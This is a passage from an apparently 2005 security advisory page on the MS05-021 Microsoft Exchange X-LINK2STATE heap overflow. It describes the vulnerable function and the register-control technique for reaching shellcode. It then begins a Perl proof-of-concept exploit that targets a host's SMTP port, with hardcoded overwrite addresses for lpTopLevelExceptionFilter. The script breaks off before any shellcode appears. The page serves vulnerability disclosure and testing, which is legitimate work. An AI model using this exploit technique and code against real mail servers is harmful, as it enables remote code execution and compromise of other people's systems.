Microsoft Exchange X-LINK2STATE Heap Overflow PoC (MS05-021)
19 Apr. 2005
Summary
As we reported in our previous article: Vulnerability in Exchange Server Allows Remote Code Execution (MS05-021), a vulnerability in Microsoft's Exchange server allows remote attackers to cause the program to execute arbitrary code. The following exploit code can be used to determine whether your Microsoft Exchange server is vulnerable.
Credit:
The information has been provided by Evgeny Pinchuk.
Exploit:
The vulnerability is a heap overflow in SvrAppendReceivedChunk function which is located in xlsasink.dll. When transmitting large chunks with X-LINK2STATE verb it is possible to overflow the heap and perform arbitrary memory write in RtlAllocateHeap function. 77fcc663 8901 mov [ecx],eax
77fcc665 894804 mov [eax+0x4],ecx
We are controlling ECX and EAX registers. So rewriting lpTopLevelExceptionFilter can easily get us to our shellcode on the heap.
#!/bin/perl
#
#
# MS05-021 Exchange X-LINK2STATE Heap Overflow
# Author: Evgeny Pinchuk
# For educational purposes only.
#
# Tested on:
# Windows 2000 Server SP4 EN
# Microsoft Exchange 2000 SP3
#
# Thanks and greets:
# Halvar Flake (thx for the right directions)
# Alex Behar, Yuri Gushin, Ishay Sommer, Ziv Gadot and Dave Hawkins
#
#
use IO::Socket::INET;
my $host = shift(@ARGV);
my $port = 25;
my $reply;
my $request;
my $EAX="\x55\xB2\xD3\x77"; # CALL DWORD PTR [ESI+0x4C] (rpcrt4.dll)
my $ECX="\xF0\xA1\x5C\x7C"; # lpTopLevelExceptionFilter
my $JMP="\xEB\x10";